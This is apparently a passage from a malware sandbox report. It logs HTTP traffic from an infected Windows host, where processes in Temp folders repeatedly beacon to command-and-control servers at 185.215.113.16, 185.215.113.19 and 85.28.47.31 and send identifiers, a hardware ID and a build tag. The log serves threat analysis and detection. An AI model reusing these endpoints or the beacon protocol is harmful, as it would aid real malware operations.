29	192.168.2.5	49757	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:20.863470078 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:21.636464119 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:21.638609886 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:21.888401985 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49758	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:21.351075888 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:22.103055954 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:22.103566885 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:22.352293015 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49759	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:22.005328894 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:22.782149076 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:22.783054113 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:23.037859917 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49760	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:22.585124016 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:23.345247030 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:23.346333981 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:23.597031116 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49761	85.28.47.31	80	6648	C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:22.592621088 CEST	86	OUT	GET / HTTP/1.1 Host: 85.28.47.31 Connection: Keep-Alive Cache-Control: no-cache
Jul 27, 2024 09:26:23.218503952 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 07:26:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 09:26:23.221261024 CEST	409	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFBAKKFCBFHIIEBGIDBG Host: 85.28.47.31 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 42 41 4b 4b 46 43 42 46 48 49 49 45 42 47 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 35 41 41 32 45 43 42 43 45 36 38 34 32 31 37 36 35 31 31 32 30 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 4b 4b 46 43 42 46 48 49 49 45 42 47 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 4b 4b 46 43 42 46 48 49 49 45 42 47 49 44 42 47 2d 2d 0d 0a Data Ascii: ------AFBAKKFCBFHIIEBGIDBGContent-Disposition: form-data; name="hwid"25AA2ECBCE684217651120------AFBAKKFCBFHIIEBGIDBGContent-Disposition: form-data; name="build"sila------AFBAKKFCBFHIIEBGIDBG--
Jul 27, 2024 09:26:23.410077095 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 07:26:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49762	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:23.146939039 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:23.913594961 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:23.914841890 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:24.173247099 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49763	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:23.710321903 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:24.479371071 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:24.481930971 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:24.733853102 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49765	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:24.286618948 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:25.077260971 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:25.163141012 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:25.427721977 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49766	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:24.885245085 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:25.632072926 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:25.633589983 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:25.877362967 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49767	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:25.536989927 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:26.307646036 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:26.308348894 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:26.563667059 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49768	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:25.990312099 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:26.759761095 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:26.761269093 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:27.012676001 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49769	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:26.677901983 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:27.428738117 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:27.444056034 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:27.692802906 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49770	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:27.130002975 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:27.899226904 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
